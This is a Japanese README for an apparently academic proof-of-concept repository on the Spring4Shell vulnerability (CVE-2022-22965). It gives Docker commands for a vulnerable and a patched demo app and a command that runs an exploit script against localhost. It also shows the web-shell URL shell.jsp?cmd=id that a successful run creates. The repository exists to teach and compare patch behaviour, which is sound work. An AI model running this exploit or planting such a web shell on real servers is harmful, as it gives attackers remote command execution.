
CVE-2022-22965 (Spring4Shell) の概念実証 (PoC) で、CS4239 G410 レポート用です。この PoC を改変し、未パッチおよびパッチ適用済みの挙動を示します。
このリポジトリには、同一のソースコードを持つ2つのサンプルプログラム(Docker化済み)があります。一方は脆弱性のあるバージョンのSpring Bootを使用し、もう一方はパッチ適用済みのバージョンを使用しています。Tomcatもこの脆弱性に対するパッチをリリースしましたが、このデモではSpringパッチの影響を分離するために、同じ脆弱性のあるバージョンのTomcatを使用しています。
デモアプリを実行するには:
docker compose build
docker compose up
エクスプロイトを実行するには:
# vulnerable
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# patched
python exploit.py --url "http://localhost:8081/helloworld/greeting"
エクスプロイトが成功すると、コマンドを実行できる新しいページが表示されます。id の実行例:
http://localhost:8080/shell.jsp?cmd=id
パッチ適用済みバージョンではエクスプロイトは機能せず、shell.jsp は注入されません。